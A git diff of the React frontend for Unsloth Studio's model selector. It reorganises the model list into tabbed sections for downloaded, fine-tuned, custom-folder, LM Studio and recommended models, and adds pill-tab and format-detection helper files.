- - This will remove{" "} - - {c.repo_id} - {" "} - from disk. You can re-download it later. - - } - successMessage={`Deleted ${c.repo_id}`} - onConfirm={() => deleteCachedModel(c.repo_id)} - onDeleted={refreshCachedLists} - /> -
- ); - })} - - ) : null} - - {!showHfSection && chatOnly && lmStudioModels.length > 0 ? ( - <> - LM Studio - {lmStudioModels.map((m) => { - const isGgufFile = m.path.toLowerCase().endsWith(".gguf"); - const isGguf = isGgufRepo(m.id) || isGgufRepo(m.display_name); - const optionKey = makeModelOptionKey("lm-studio", m.id); - return ( -
- { - if (isGguf) { - setExpandedGguf((prev) => - prev === m.id ? null : m.id, - ); - } else { - onSelect(m.id, { - source: "local", - isLora: false, - isDownloaded: true, - isGguf: isGgufFile, - }); - } - }} - onArrowDownIntoChildren={ - expandedGguf === m.id - ? () => { - const focused = focusFirstChildOption(optionKey); - return focused; - } - : undefined - } - vramStatus={null} - /> - {expandedGguf === m.id && ( - - hubModelList.focusOption(optionKey) - } - onNavigatePastEnd={() => - hubModelList.moveFocus(optionKey, "next") - } - gpuGb={gpu.available ? gpu.memoryTotalGb : undefined} - systemRamGb={ - gpu.available ? gpu.systemRamAvailableGb : undefined - } - /> - )} -
- ); - })} - - ) : null} - - {!showHfSection ? ( - <> -
- - - Custom Folders - -
- - -
-
- -
+ {/* Clear space for the floating Eject pill when scrolled to the end, so + its gap above the last row matches its gap below (applies to every + section, including Recommended). */} +
+ {showConnected ? ( + connectedGroups.length === 0 ? ( +
+ {externalModels.length === 0 + ? "No models from your connections. Set up in Settings then Connections." + : "No models match your search."}
- - {/* Folder paths */} - {!customFoldersCollapsed && scanFolders.map((f) => ( -
- - - {f.path} - - -
- ))} - - {/* Recommended folders */} - {!customFoldersCollapsed && (() => { - const registered = new Set(scanFolders.map((f) => f.path)); - const unregistered = recommendedFolders.filter((p) => !registered.has(p)); - if (unregistered.length === 0) return null; - return ( -
- {unregistered.map((p) => ( - - ))} -
- ); - })()} - - {/* Add folder input */} - {!customFoldersCollapsed && showFolderInput && ( -
-
- - { setFolderInput(e.target.value); setFolderError(null); }} - onKeyDown={(e) => { - if (e.key === "Enter") { e.preventDefault(); handleAddFolder(); } - if (e.key === "Escape") { e.preventDefault(); e.stopPropagation(); setShowFolderInput(false); setFolderInput(""); setFolderError(null); } - }} - placeholder="/path/to/models" - className="h-6 min-w-0 flex-1 rounded border border-border/50 bg-transparent px-1.5 font-mono text-[10px] text-foreground outline-none placeholder:text-muted-foreground/40 focus:border-foreground/20" - disabled={folderLoading} - autoFocus={true} + ) : ( + connectedGroups.map((group) => ( +
+
+ + + {group.providerName} + +
+ {group.models.map((model) => ( + + ))} +
+ )) + ) + ) : ( + <> + {/* First-load spinner only when nothing cached is shown yet. */} + {showDownloaded && + !cachedReady && + !showHfSection && + downloadedEmpty ? ( +
+ + + Loading models… + +
+ ) : null} + + {/* Empty On Device: a search miss vs nothing downloaded yet. Hidden + when custom folders below still have matches. */} + {showDownloaded && + cachedReady && + downloadedEmpty && + sortedCustomFolderModels.length === 0 ? ( +
+ {showHfSection + ? "No matching models on device." + : formatFilter === "all" + ? "No downloaded models yet. Search above or pick Recommended." + : `No downloaded ${FORMAT_FILTER_LABELS[formatFilter]} models yet.`} +
+ ) : null} + + {/* Downloaded (Unsloth) stays visible (filtered) while searching. */} + {showDownloaded && + (unslothCachedGguf.length > 0 || + unslothCachedModelRows.length > 0) ? ( + <> + setDownloadedCollapsed((v) => !v)} + action={ + <> + {hasOtherModels ? ( + + + + + + Other non-Unsloth models + + + ) : null} + + + + + + Go to fine-tuned models + + + + + + + + Go to custom folders + + + + } + > + {/* When other providers (LM Studio/Ollama) also show here, name + this group "Unsloth" so the two are easy to tell apart. */} + {sortedLmStudio.length > 0 ? "Unsloth" : "Downloaded"} + + {!downloadedCollapsed && + unslothCachedGguf.map(renderDownloadedGgufRow)} + {!downloadedCollapsed && + unslothCachedModelRows.map(renderDownloadedModelRow)} + + ) : null} + + {/* Other models: non-Unsloth downloads, grouped just above + Fine-tuned. Shown only when such models exist. */} + {showDownloaded && hasOtherModels ? ( +
+ + } + collapsed={otherModelsCollapsed} + onToggle={() => setOtherModelsCollapsed((v) => !v)} + > + Other models + + {!otherModelsCollapsed && + otherCachedGguf.map(renderDownloadedGgufRow)} + {!otherModelsCollapsed && + otherCachedModelRows.map(renderDownloadedModelRow)} +
+ ) : null} + + {/* Fine-tuned models: a section above Custom Folders. Always shown on + On Device so the train shortcut always has a target, with an empty + state when none exist. */} + {section === "downloaded" ? ( + <> +
+ + + Fine-tuned + +
+ +
+
+ {!fineTunedCollapsed && fineTunedRows.length > 0 && ( + + )} + + ) : null} + + {showCustom ? ( + <> +
- +
+ + +
+
+ +
- {folderError && ( -

{folderError}

+ + {/* Folder paths */} + {!customFoldersCollapsed && + scanFolders.map((f) => ( +
+ + + {f.path} + + +
+ ))} + + {/* Recommended folders */} + {!customFoldersCollapsed && + (() => { + const registered = new Set( + scanFolders.map((f) => f.path), + ); + const unregistered = recommendedFolders.filter( + (p) => !registered.has(p), + ); + if (unregistered.length === 0) return null; + return ( +
+ {unregistered.map((p) => ( + + ))} +
+ ); + })()} + + {/* Add folder input */} + {!customFoldersCollapsed && showFolderInput && ( +
+
+ + { + setFolderInput(e.target.value); + setFolderError(null); + }} + onKeyDown={(e) => { + if (e.key === "Enter") { + e.preventDefault(); + handleAddFolder(); + } + if (e.key === "Escape") { + e.preventDefault(); + e.stopPropagation(); + setShowFolderInput(false); + setFolderInput(""); + setFolderError(null); + } + }} + placeholder="/path/to/models" + className="h-6 min-w-0 flex-1 rounded border border-border/50 bg-transparent px-1.5 font-mono text-[10px] text-foreground outline-none placeholder:text-muted-foreground/40 focus:border-foreground/20" + disabled={folderLoading} + autoFocus={true} + /> + + +
+ {folderError && ( +

+ {folderError} +

+ )} +
)} -
- )} - { - setFolderInput(picked); - setFolderError(null); - // Pass the path explicitly: `folderInput` state hasn't - // flushed yet when "Use this folder" submits. - void handleAddFolder(picked); - }} - /> + { + setFolderInput(picked); + setFolderError(null); + // Pass the path explicitly: `folderInput` state hasn't + // flushed yet when "Use this folder" submits. + void handleAddFolder(picked); + }} + /> - - {/* Models from custom folders */} - {!customFoldersCollapsed && customFolderModels.map((m) => { - const isGgufFile = m.path.toLowerCase().endsWith(".gguf"); - const isGguf = - isGgufFile || - isGgufRepo(m.id) || - isGgufRepo(m.display_name); - // Single .gguf files (e.g. Ollama blobs) load directly; - // GGUF repos/directories expand to pick a variant. - const isDirectGguf = isGgufFile; - const optionKey = makeModelOptionKey("custom-folder", m.id); - return ( -
- { - if (isDirectGguf) { - onSelect(m.id, { - source: "local", - isLora: false, - isDownloaded: true, - isGguf: true, - }); - } else if (isGguf) { - setExpandedGguf((prev) => - prev === m.id ? null : m.id, - ); - } else { - onSelect(m.id, { - source: "local", - isLora: false, - isDownloaded: true, - }); - } - }} - onArrowDownIntoChildren={ - expandedGguf === m.id - ? () => { - const focused = focusFirstChildOption(optionKey); - return focused; - } - : undefined - } - vramStatus={null} - /> - {expandedGguf === m.id && ( - - hubModelList.focusOption(optionKey) - } - onNavigatePastEnd={() => - hubModelList.moveFocus(optionKey, "next") - } - gpuGb={gpu.available ? gpu.memoryTotalGb : undefined} - systemRamGb={ - gpu.available ? gpu.systemRamAvailableGb : undefined - } - /> - )} -
- ); - })} - - ) : null} - - {!showHfSection && cachedReady ? ( - <> - } - collapsed={recommendedCollapsed} - onToggle={() => setRecommendedCollapsed((v) => !v)} - >Recommended - {recommendedCollapsed ? null : visibleRecommendedIds.length === 0 ? ( -
- No default models. -
- ) : ( - visibleRecommendedIds.map((id) => { - const vram = recommendedVramMap.get(id); - const optionKey = makeModelOptionKey("recommended", id); - return ( -
- { - if (isKnownGgufRepo(id)) { - setExpandedGguf((prev) => (prev === id ? null : id)); - } else { - handleModelClick(id); - } - }} - vramStatus={ - isKnownGgufRepo(id) ? null : (vram?.status ?? null) - } - vramEst={isKnownGgufRepo(id) ? undefined : vram?.est} - gpuGb={gpu.available ? gpu.memoryTotalGb : undefined} - onArrowDownIntoChildren={ - expandedGguf === id - ? () => { - const focused = focusFirstChildOption(optionKey); - return focused; - } - : undefined - } - /> - {expandedGguf === id && ( - - hubModelList.focusOption(optionKey) - } - onNavigatePastEnd={() => - hubModelList.moveFocus(optionKey, "next") - } - gpuGb={gpu.available ? gpu.memoryTotalGb : undefined} - systemRamGb={ - gpu.available ? gpu.systemRamAvailableGb : undefined - } - /> - )} -
- ); - }) - )} - {!recommendedCollapsed && hasMoreRecommended && ( - <> -
-
- -
- - )} - - ) : null} - - {showHfSection && filteredRecommendedIds.length > 0 ? ( - <> - }>Recommended - {filteredRecommendedIds.map((id) => { - const vram = recommendedVramMap.get(id); - const optionKey = makeModelOptionKey("search-recommended", id); - return ( -
- { - if (isKnownGgufRepo(id)) { - setExpandedGguf((prev) => (prev === id ? null : id)); - } else { - handleModelClick(id); - } - }} - vramStatus={ - isKnownGgufRepo(id) ? null : (vram?.status ?? null) - } - vramEst={isKnownGgufRepo(id) ? undefined : vram?.est} - gpuGb={gpu.available ? gpu.memoryTotalGb : undefined} - onArrowDownIntoChildren={ - expandedGguf === id - ? () => { - const focused = focusFirstChildOption(optionKey); - return focused; - } - : undefined - } - /> - {expandedGguf === id && ( - - hubModelList.focusOption(optionKey) - } - onNavigatePastEnd={() => - hubModelList.moveFocus(optionKey, "next") - } - gpuGb={gpu.available ? gpu.memoryTotalGb : undefined} - systemRamGb={ - gpu.available ? gpu.systemRamAvailableGb : undefined - } - /> - )} -
- ); - })} - - ) : null} - - {showHfSection ? ( - <> - {(hfIds.length > 0 || isLoading) && ( - Hugging Face - )} - {hfIds.length === 0 && !isLoading ? ( - filteredRecommendedIds.length === 0 && - visibleCachedGguf.length === 0 && - visibleCachedModelRows.length === 0 ? ( -
- No matching models. -
- ) : null - ) : ( - hfIds.map((id) => { - const vram = vramMap.get(id); - const isSearchGguf = isKnownGgufRepo(id); - const optionKey = makeModelOptionKey("search-hf", id); - return ( -
- { - if (isSearchGguf) { - setExpandedGguf((prev) => (prev === id ? null : id)); - } else { - handleModelClick(id); - } - }} - vramStatus={ - isSearchGguf ? null : (vram?.status ?? null) - } - vramEst={isSearchGguf ? undefined : vram?.est} - gpuGb={gpu.available ? gpu.memoryTotalGb : undefined} - onArrowDownIntoChildren={ - expandedGguf === id - ? () => { - const focused = focusFirstChildOption(optionKey); - return focused; - } - : undefined - } - /> - {expandedGguf === id && ( - - hubModelList.focusOption(optionKey) - } - onNavigatePastEnd={() => - hubModelList.moveFocus(optionKey, "next") - } - gpuGb={gpu.available ? gpu.memoryTotalGb : undefined} - systemRamGb={ - gpu.available ? gpu.systemRamAvailableGb : undefined - } - /> - )} -
- ); - }) - )} -
- {isLoadingMore ? ( -
- -
- ) : null} - - ) : null} -
-
- -
- ); -} - -export function LoraModelPicker({ - loraModels, - value, - onSelect, - onModelsChange, - deleteDisabled = false, -}: { - loraModels: LoraModelOption[]; - value?: string; - onSelect: (id: string, meta: ModelSelectorChangeMeta) => void; - onModelsChange?: (deletedModel?: DeletedModelRef) => void; - deleteDisabled?: boolean; -}) { - const [query, setQuery] = useState(""); - const [expandedGguf, setExpandedGguf] = useState(null); - const gpu = useGpuInfo(); - - const normalized = useMemo( - () => - loraModels - .map((model) => ({ - ...model, - baseModel: - model.baseModel || model.description || "Unknown base model", - })) - .sort((a, b) => { - const baseCmp = a.baseModel.localeCompare(b.baseModel); - if (baseCmp !== 0) return baseCmp; - // Prioritize unsloth publisher within LM Studio group - if (a.baseModel === "LM Studio" && b.baseModel === "LM Studio") { - const aUnsloth = a.name.startsWith("unsloth/") ? 0 : 1; - const bUnsloth = b.name.startsWith("unsloth/") ? 0 : 1; - if (aUnsloth !== bUnsloth) return aUnsloth - bUnsloth; - } - const aTime = a.updatedAt ?? -1; - const bTime = b.updatedAt ?? -1; - if (aTime !== bTime) return bTime - aTime; - return a.name.localeCompare(b.name); - }), - [loraModels], - ); - - const grouped = useMemo(() => { - const needle = normalizeForSearch(query.trim()); - const out = new Map(); - - for (const model of normalized) { - const searchText = normalizeForSearch( - `${model.name} ${model.baseModel} ${model.id}`, - ); - if (needle && !searchText.includes(needle)) continue; - - const key = model.baseModel || "Unknown base model"; - const prev = out.get(key) ?? []; - prev.push(model); - out.set(key, prev); - } - - return [...out.entries()].sort((a, b) => { - const aLatest = Math.max(...a[1].map((model) => model.updatedAt ?? -1)); - const bLatest = Math.max(...b[1].map((model) => model.updatedAt ?? -1)); - if (aLatest !== bLatest) return bLatest - aLatest; - return a[0].localeCompare(b[0]); - }); - }, [normalized, query]); - - const loraOptionKeys = useMemo( - () => - grouped.flatMap(([, adapters]) => - adapters.map((adapter) => makeModelOptionKey("lora", adapter.id)), - ), - [grouped], - ); - const selectedLoraOptionKey = useMemo( - () => - value - ? loraOptionKeys.find((optionKey) => optionKey.endsWith(`::${value}`)) - : undefined, - [loraOptionKeys, value], - ); - const loraModelList = useRovingModelList({ - label: "Fine-tuned models", - optionKeys: loraOptionKeys, - selectedOptionKey: selectedLoraOptionKey, - }); - - return ( -
-
- - setQuery(event.target.value)} - placeholder="Search trained models" - data-model-picker-search-input={true} - className="h-9 border-[#f2f2f2] dark:border-input pl-8" - /> -
- -
-
- {grouped.length === 0 ? ( -
- No trained models found. -
- ) : ( - grouped.map(([baseModel, adapters], index) => ( -
- {index > 0 ?
: null} - {baseModel} - {adapters.map((adapter) => { - const isLocal = adapter.source === "local"; - const isTraining = adapter.source === "training"; - const isExported = adapter.source === "exported"; - const isMerged = adapter.exportType === "merged"; - const isGguf = adapter.exportType === "gguf"; - const isExportedGguf = isExported && isGguf; - const canDelete = canDeleteLoraModel(adapter); - const isTrainingFull = isTraining && isMerged; - const isLocalGgufDir = - isLocal && - (isGgufRepo(adapter.id) || isGgufRepo(adapter.name)); - const optionKey = makeModelOptionKey("lora", adapter.id); - const tag = isLocal - ? isLocalGgufDir - ? "GGUF" - : "Local" - : isGguf - ? "GGUF" - : isTrainingFull - ? "Full" - : isExported - ? isMerged - ? "Merged" - : "LoRA" - : "LoRA"; - const meta = isLocal - ? isLocalGgufDir - ? "GGUF" - : "Local" - : isTrainingFull - ? "Full finetune" - : isExported - ? `${tag} · Exported` - : tag; - return ( -
-
-
+ {/* Models from custom folders */} + {!customFoldersCollapsed && + sortedCustomFolderModels.map((m) => { + const isGgufFile = m.path.toLowerCase().endsWith(".gguf"); + // Honor the backend model_format hint (suffixless GGUF + // folders) in addition to name/path so the row classifies + // and loads through the same GGUF path as the filter. + const isGguf = localModelIsGguf(m); + // Single .gguf files (e.g. Ollama blobs) load directly; + // GGUF repos/directories expand to pick a variant. + const isDirectGguf = isGgufFile; + const optionKey = makeModelOptionKey( + "custom-folder", + m.id, + ); + return ( +
{ - if (isLocalGgufDir || isExportedGguf) { - setExpandedGguf((prev) => - prev === adapter.id ? null : adapter.id, - ); + if (isDirectGguf) { + onSelect(m.id, { + source: "local", + isLora: false, + isDownloaded: true, + // Mark GGUF so "Load on selection = off" stages + // through Run settings (matches LM Studio path). + isGguf: true, + }); + } else if (isGguf) { + toggleGgufExpanded(m.id); } else { - onSelect(adapter.id, { - source: isLocal - ? "local" - : isExported - ? "exported" - : "lora", - isLora: !isLocal && !isMerged && !isGguf, + onSelect(m.id, { + source: "local", + isLora: false, isDownloaded: true, }); } }} - tooltipText={ - <> - - {adapter.name} - - - {adapter.id} - - + onArrowDownIntoChildren={ + isGguf && !isDirectGguf && isGgufExpanded(m.id) + ? () => { + const focused = + focusFirstChildOption(optionKey); + return focused; + } + : undefined + } + vramStatus={null} + /> + {isGguf && !isDirectGguf && isGgufExpanded(m.id) && ( + + hubModelList.focusOption(optionKey) + } + onNavigatePastEnd={() => + hubModelList.moveFocus(optionKey, "next") + } + gpuGb={ + gpu.available ? gpu.memoryTotalGb : undefined + } + systemRamGb={gpu.systemRamAvailableGb || undefined} + /> + )} +
+ ); + })} + {!customFoldersCollapsed && + showHfSection && + sortedCustomFolderModels.length === 0 ? ( +
+ No matching models in custom folders. +
+ ) : null} + + ) : null} + + {section === "downloaded" && sortedLmStudio.length > 0 ? ( + <> + setLmStudioCollapsed((v) => !v)} + > + LM Studio + + {!lmStudioCollapsed && + sortedLmStudio.map((m) => { + const isGgufFile = m.path.toLowerCase().endsWith(".gguf"); + // LM Studio dirs are GGUF but rarely carry a -GGUF suffix; + // use the shared helper (model_format hint) so the row, + // filter, and load path agree. + const isGguf = localModelIsGguf(m); + const optionKey = makeModelOptionKey("lm-studio", m.id); + return ( +
+ { + if (isGgufFile) { + onSelect(m.id, { + source: "local", + isLora: false, + isDownloaded: true, + isGguf: true, + }); + } else if (isGguf) { + toggleGgufExpanded(m.id); + } else { + onSelect(m.id, { + source: "local", + isLora: false, + isDownloaded: true, + }); + } + }} + onArrowDownIntoChildren={ + isGguf && !isGgufFile && isGgufExpanded(m.id) + ? () => { + const focused = + focusFirstChildOption(optionKey); + return focused; + } + : undefined + } + vramStatus={null} + /> + {isGguf && !isGgufFile && isGgufExpanded(m.id) && ( + + hubModelList.focusOption(optionKey) + } + onNavigatePastEnd={() => + hubModelList.moveFocus(optionKey, "next") + } + gpuGb={ + gpu.available ? gpu.memoryTotalGb : undefined + } + systemRamGb={gpu.systemRamAvailableGb || undefined} + /> + )} +
+ ); + })} + + ) : null} + + {section === "downloaded" && sortedLocalDir.length > 0 ? ( + <> + setLocalDirCollapsed((v) => !v)} + > + Local models + + {!localDirCollapsed && + sortedLocalDir.map((m) => { + // A loose ./models/*.gguf file loads directly; a GGUF repo + // directory expands to pick a variant. The backend's local + // variant scanner returns nothing for a config-less loose + // file, so expanding it would dead-end at "No GGUF variants". + const isGgufFile = m.path.toLowerCase().endsWith(".gguf"); + const isGguf = localModelIsGguf(m); + const optionKey = makeModelOptionKey("local-dir", m.id); + return ( +
+ { + if (isGgufFile) { + onSelect(m.id, { + source: "local", + isLora: false, + isDownloaded: true, + isGguf: true, + }); + } else if (isGguf) { + toggleGgufExpanded(m.id); + } else { + onSelect(m.id, { + source: "local", + isLora: false, + isDownloaded: true, + }); + } + }} + onArrowDownIntoChildren={ + isGguf && !isGgufFile && isGgufExpanded(m.id) + ? () => focusFirstChildOption(optionKey) + : undefined + } + vramStatus={null} + /> + {isGguf && !isGgufFile && isGgufExpanded(m.id) && ( + + hubModelList.focusOption(optionKey) + } + onNavigatePastEnd={() => + hubModelList.moveFocus(optionKey, "next") + } + gpuGb={ + gpu.available ? gpu.memoryTotalGb : undefined + } + systemRamGb={gpu.systemRamAvailableGb || undefined} + /> + )} +
+ ); + })} + + ) : null} + + {showRecommendedSection ? ( + <> + {recommendedSearch.isLoading && + recommendedRows.length === 0 ? ( +
+ + + Loading models… + +
+ ) : recommendedRows.length === 0 ? ( +
+ No models found. +
+ ) : ( + recommendedRows.map((r) => { + const id = r.id; + const info = recommendedMeta.get(id); + const isG = isKnownGgufRepo(id); + const optionKey = makeModelOptionKey("recommended", id); + return ( +
+ { + if (isG) { + setExpandedGguf((prev) => + prev === id ? null : id, + ); + } else { + handleModelClick(id); + } + }} + vramStatus={info?.status ?? null} + vramEst={info?.est} + gpuGb={ + gpu.available ? gpu.memoryTotalGb : undefined } onArrowDownIntoChildren={ - expandedGguf === adapter.id + expandedGguf === id + ? () => focusFirstChildOption(optionKey) + : undefined + } + /> + {expandedGguf === id && ( + + hubModelList.focusOption(optionKey) + } + onNavigatePastEnd={() => + hubModelList.moveFocus(optionKey, "next") + } + gpuGb={ + gpu.available ? gpu.memoryTotalGb : undefined + } + systemRamGb={gpu.systemRamAvailableGb || undefined} + variantActions={{ + onDelete: async (quant) => { + await deleteCachedModel(id, quant); + refreshCachedLists(); + }, + }} + /> + )} +
+ ); + }) + )} + {recommendedSearch.hasMore && ( + <> +
+
+ +
+ + )} + + ) : null} + + {showHfSection && + section === "recommended" && + filteredRecommendedIds.length > 0 ? ( + <> + {filteredRecommendedIds.map((id) => { + const vram = recommendedVramMap.get(id); + const optionKey = makeModelOptionKey( + "search-recommended", + id, + ); + return ( +
+ { + if (isKnownGgufRepo(id)) { + setExpandedGguf((prev) => + prev === id ? null : id, + ); + } else { + handleModelClick(id); + } + }} + vramStatus={ + isKnownGgufRepo(id) ? null : (vram?.status ?? null) + } + vramEst={isKnownGgufRepo(id) ? undefined : vram?.est} + gpuGb={gpu.available ? gpu.memoryTotalGb : undefined} + onArrowDownIntoChildren={ + expandedGguf === id + ? () => { + const focused = + focusFirstChildOption(optionKey); + return focused; + } + : undefined + } + /> + {expandedGguf === id && ( + + hubModelList.focusOption(optionKey) + } + onNavigatePastEnd={() => + hubModelList.moveFocus(optionKey, "next") + } + gpuGb={ + gpu.available ? gpu.memoryTotalGb : undefined + } + systemRamGb={gpu.systemRamAvailableGb || undefined} + variantActions={{ + onDelete: async (quant) => { + await deleteCachedModel(id, quant); + refreshCachedLists(); + }, + }} + /> + )} +
+ ); + })} + + ) : null} + + {showHfSection && section === "recommended" ? ( + <> + {hfIds.length === 0 && !isLoading ? ( + filteredRecommendedIds.length === 0 ? ( +
+ No matching Unsloth models. +
+ ) : null + ) : ( + hfIds.map((id) => { + const vram = vramMap.get(id); + const isSearchGguf = isKnownGgufRepo(id); + const optionKey = makeModelOptionKey("search-hf", id); + return ( +
+ { + if (isSearchGguf) { + setExpandedGguf((prev) => + prev === id ? null : id, + ); + } else { + handleModelClick(id); + } + }} + vramStatus={ + isSearchGguf ? null : (vram?.status ?? null) + } + vramEst={isSearchGguf ? undefined : vram?.est} + gpuGb={ + gpu.available ? gpu.memoryTotalGb : undefined + } + onArrowDownIntoChildren={ + expandedGguf === id ? () => { - const focused = focusFirstChildOption(optionKey); + const focused = + focusFirstChildOption(optionKey); return focused; } : undefined } /> -
- {canDelete && ( - - This will remove{" "} - - {adapter.name} - {" "} - from disk. This cannot be undone. - - } - successMessage={`Deleted ${adapter.name}`} - disabled={deleteDisabled} - onConfirm={() => - deleteFineTunedModel({ - modelPath: adapter.id, - source: isExported ? "exported" : "training", - exportType: adapter.exportType, - }) - } - onDeleted={() => - onModelsChange?.({ id: adapter.id }) - } - /> - )} -
- {expandedGguf === adapter.id && ( - - loraModelList.focusOption(optionKey) - } - onNavigatePastEnd={() => - loraModelList.moveFocus(optionKey, "next") - } - gpuGb={gpu.available ? gpu.memoryTotalGb : undefined} - systemRamGb={ - gpu.available ? gpu.systemRamAvailableGb : undefined - } - sourceOverride={isExportedGguf ? "exported" : undefined} - deleteVariantTitle="Delete exported GGUF variant?" - renderDeleteVariantDescription={(quant) => ( - <> - This will remove{" "} - - {adapter.name} ({quant}) - {" "} - from disk. This cannot be undone. - + {expandedGguf === id && ( + + hubModelList.focusOption(optionKey) + } + onNavigatePastEnd={() => + hubModelList.moveFocus(optionKey, "next") + } + gpuGb={ + gpu.available ? gpu.memoryTotalGb : undefined + } + systemRamGb={gpu.systemRamAvailableGb || undefined} + variantActions={{ + onDelete: async (quant) => { + await deleteCachedModel(id, quant); + refreshCachedLists(); + }, + }} + /> )} - getDeleteVariantSuccessMessage={(quant) => - `Deleted ${adapter.name} ${quant}` - } - deleteDisabled={deleteDisabled} - onDeleteVariant={ - isExportedGguf - ? async (quant) => { - await deleteFineTunedModel({ - modelPath: adapter.id, - source: "exported", - exportType: "gguf", - ggufVariant: quant, - }); - onModelsChange?.({ - id: adapter.id, - ggufVariant: quant, - }); - } - : undefined - } - /> - )} +
+ ); + }) + )} +
+ {isLoadingMore ? ( +
+
- ); - })} -
- )) + ) : null} + + ) : null} + )}
- -
+ {/* Floating eject pill: overlaid on the list bottom, outside the scroll + so the edge fade never touches it. Only the pill catches clicks. */} + {onEject ? ( +
+ +
+ ) : null} +
+ + + ); +} + +/** Fine-tuned model rows for the On Device tab's Fine-tuned section. Plugs into + * that section's roving list and shared GGUF-expand state. */ +function FineTunedRows({ + adapters, + value, + onSelect, + onModelsChange, + deleteDisabled = false, + loraModelList, + expandedGguf, + setExpandedGguf, + gpu, +}: { + adapters: LoraModelOption[]; + value?: string; + onSelect: (id: string, meta: ModelSelectorChangeMeta) => void; + onModelsChange?: (deletedModel?: DeletedModelRef) => void; + deleteDisabled?: boolean; + loraModelList: ReturnType; + expandedGguf: string | null; + setExpandedGguf: Dispatch>; + gpu: { + available: boolean; + memoryTotalGb: number; + systemRamAvailableGb: number; + }; +}) { + return ( + <> + {adapters.map((adapter) => { + const isLocal = adapter.source === "local"; + const isTraining = adapter.source === "training"; + const isExported = adapter.source === "exported"; + const isMerged = adapter.exportType === "merged"; + const isGguf = adapter.exportType === "gguf"; + const isExportedGguf = isExported && isGguf; + const canDelete = canDeleteLoraModel(adapter); + const isTrainingFull = isTraining && isMerged; + const isLocalGgufDir = + isLocal && (isGgufRepo(adapter.id) || isGgufRepo(adapter.name)); + const optionKey = makeModelOptionKey("lora", adapter.id); + const tag = isLocal + ? isLocalGgufDir + ? "GGUF" + : "Local" + : isGguf + ? "GGUF" + : isTrainingFull + ? "Full" + : isExported + ? isMerged + ? "Merged" + : "LoRA" + : "LoRA"; + const meta = isLocal + ? isLocalGgufDir + ? "GGUF" + : "Local" + : isTrainingFull + ? "Full finetune" + : isExported + ? `${tag} · Exported` + : tag; + return ( +
+
+
+ { + if (isLocalGgufDir || isExportedGguf) { + setExpandedGguf((prev) => + prev === adapter.id ? null : adapter.id, + ); + } else { + onSelect(adapter.id, { + source: isLocal + ? "local" + : isExported + ? "exported" + : "lora", + isLora: !isLocal && !isMerged && !isGguf, + isDownloaded: true, + }); + } + }} + tooltipText={ + <> + {adapter.name} + + {adapter.id} + + + } + onArrowDownIntoChildren={ + expandedGguf === adapter.id + ? () => { + const focused = focusFirstChildOption(optionKey); + return focused; + } + : undefined + } + /> +
+ {canDelete && ( + + This will remove{" "} + + {adapter.name} + {" "} + from disk. This cannot be undone. + + } + successMessage={`Deleted ${adapter.name}`} + disabled={deleteDisabled} + onConfirm={() => + deleteFineTunedModel({ + modelPath: adapter.id, + source: isExported ? "exported" : "training", + exportType: adapter.exportType, + }) + } + onDeleted={() => onModelsChange?.({ id: adapter.id })} + /> + )} +
+ {expandedGguf === adapter.id && ( + loraModelList.focusOption(optionKey)} + onNavigatePastEnd={() => + loraModelList.moveFocus(optionKey, "next") + } + gpuGb={gpu.available ? gpu.memoryTotalGb : undefined} + systemRamGb={gpu.systemRamAvailableGb || undefined} + sourceOverride={isExportedGguf ? "exported" : undefined} + variantActions={{ + deleteTitle: "Delete exported GGUF variant?", + renderDeleteDescription: (quant) => ( + <> + This will remove{" "} + + {adapter.name} ({quant}) + {" "} + from disk. This cannot be undone. + + ), + getDeleteSuccessMessage: (quant) => + `Deleted ${adapter.name} ${quant}`, + deleteDisabled: deleteDisabled, + onDelete: isExportedGguf + ? async (quant) => { + await deleteFineTunedModel({ + modelPath: adapter.id, + source: "exported", + exportType: "gguf", + ggufVariant: quant, + }); + onModelsChange?.({ + id: adapter.id, + ggufVariant: quant, + }); + } + : undefined, + }} + /> + )} +
+ ); + })} + ); } diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pill-tabs.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pill-tabs.tsx new file mode 100644 index 0000000000..e6da8a7b74 --- /dev/null +++ b/studio/frontend/src/components/assistant-ui/model-selector/pill-tabs.tsx @@ -0,0 +1,104 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { cn } from "@/lib/utils"; +import type { ReactNode } from "react"; + +export interface PillTab { + value: string; + label: string; + icon?: ReactNode; +} + +/** Segmented pill toggle reusing the Hub's .hub-tab-toggle styling (extended in + * hub.css to also match .unsloth-model-selector-menu). Keeps tab roles for + * keyboard nav. */ +export function PillTabs({ + tabs, + value, + onValueChange, + ariaLabel, + className, + compact = false, + fit = false, +}: { + tabs: PillTab[]; + value: string; + onValueChange: (value: string) => void; + ariaLabel: string; + className?: string; + compact?: boolean; + /** Size each tab to its label instead of equal widths. The active tab carries + * the pill background directly (the toggle never animates). */ + fit?: boolean; +}) { + const activeIndex = Math.max( + 0, + tabs.findIndex((tab) => tab.value === value), + ); + return ( +
+ {!fit && ( +
+ ); +} diff --git a/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts b/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts new file mode 100644 index 0000000000..7c2ed266c0 --- /dev/null +++ b/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts @@ -0,0 +1,148 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +// Pure helpers for the Recommended list: which formats to surface and whether a +// model fits the device. No React/DOM deps so they are easy to test. + +const GGUF_SUFFIX_RE = /-GGUF(?:$|-)/i; +const MLX_RE = /-MLX(?:$|-)/i; + +export function isGgufId(id: string, hintedIsGguf?: boolean): boolean { + return Boolean(hintedIsGguf) || GGUF_SUFFIX_RE.test(id); +} + +export function isMlxId(id: string): boolean { + return MLX_RE.test(id); +} + +// "mobile" build token (e.g. "gemma-4-E4B-it-qat-mobile-GGUF"); bounded so it +// never matches inside a longer word. +const MOBILE_RE = /(?:^|[-_/. ])mobile(?:$|[-_/. ])/i; + +/** A mobile-targeted build, which we keep out of the Recommended list. */ +export function isMobileVariant(id: string): boolean { + return MOBILE_RE.test(id); +} + +/** Recommended only surfaces ready-to-run local formats (GGUF / MLX). */ +export function isRunnableRecommendedFormat( + id: string, + hintedIsGguf?: boolean, +): boolean { + return isGgufId(id, hintedIsGguf) || isMlxId(id); +} + +/** What Recommended is allowed to suggest: GGUF anywhere; on Mac also MLX and + * safetensors (both now run locally there). GPU 